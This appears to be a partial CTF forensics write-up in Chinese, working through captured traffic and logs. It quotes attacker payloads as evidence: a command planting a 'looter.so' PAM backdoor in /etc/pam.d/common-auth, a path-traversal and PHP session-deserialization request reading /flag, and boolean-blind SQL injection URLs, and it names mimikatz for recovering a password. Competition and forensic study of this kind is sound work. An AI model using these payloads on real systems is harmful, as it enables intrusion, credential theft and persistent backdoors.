1st 陇剑杯部分WP
1st 陇剑杯部分WP
jwt
2.1
跟踪 TCP 流可发现 token 为 jwt
认证
2.2
用成功拿到 shell 的 token 去 jwt解码网站可以解出来,10087#admin
2.3
拿到 shell 的 TCP 流中可以看到是 root
权限。
2.4
通过后面的命令可以得到 => 1.c
2.5
通过解码创建的 Makefile 文件即可得到 => looter.so
=>
2.6
通过后面的命令可以得到 => /etc/pam.d/common-auth
1 | command=echo%20"auth%20optional%20looter.so">>/etc/pam.d/common-auth |
webshell
3.1
可在 login 得到 => Admin123!@#
3.2
在注入 shell 的地方可以看到
但要注意要的是绝对路径,所以要补全 /var/www/html/data/Runtime/Logs/Home/21_08_07.log
3.3
就在 3-2 的流里可以看到 => www-data
3.4
在后面的 33 流里可以看到 => 1.php
3.5
查看 37 http 流并与 39 http 流对比可发现多了一个 frpc.ini
文件,猜测上传的代理工具客户端为 frpc。
3.6 / 3.7
3-6 和 3-7 都可以在上传文件的 38 tcp 流中看到
跑一下就可以看到
日志分析
4.1
直接看哪个是 200 即可 => www.zip
4.2
最下面可以看到
1 | ?filename=..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Ftmp%2Fsess_car&content=func%7CN%3Bfiles%7Ca%3A2%3A%7Bs%3A8%3A%22filename%22%3Bs%3A16%3A%22.%2Ffiles%2Ffilename%22%3Bs%3A20%3A%22call_user_func_array%22%3Bs%3A28%3A%22.%2Ffiles%2Fcall_user_func_array%22%3B%7Dpaths%7Ca%3A1%3A%7Bs%3A5%3A%22%2Fflag%22%3Bs%3A13%3A%22SplFileObject%22%3B%7D |
转码一下得到 => sess_car
4.3
根据 4-2 的上传内容即可得到 => SplFileObject
1 | ?filename=../../../../../../../../../../../../../../../../../tmp/sess_car&content=func|N;files|a:2:{s:8:"filename";s:16:"./files/filename";s:20:"call_user_func_array";s:28:"./files/call_user_func_array";}paths|a:1:{s:5:"/flag";s:13:"SplFileObject";} |
内存分析
6.1
需要的是虚拟机密码,直接下载文件下来后 mimikatz 一把梭
简单日志分析
7.1
往后翻即可发现=> user
7.2
base64 解码第二个 user 参数传输的字符串即可得到 => /Th4s_IS_VERY_Import_Fi1e
7.3
还是 base64 解码最后一个 user 参数的字符串 => 192.168.2.197:8888
SQL注入
8.1
根据 id 参数的攻击可知为 布尔盲注
/index.php?id=1%20and%20if(substr(database(),1,1)%20=%20’%C2%80’,1,(select%20table_name%20from%20information_schema.tables))
8.2
直接找到最后爆破 flag 的 payload 可以直接得到 => sqli#flag#flag
/index.php?id=1%20and%20if(substr((select%20flag%20from%20sqli.flag),1,1)%20=%20’%C2%80’,1,(select%20table_name%20from%20information_schema.tables))
8.3
最好的方法就是直接写个脚本跑,但是懒得写了,直接找 => flag{deddcd67-bcfd-487e-b940-1217e668c7db}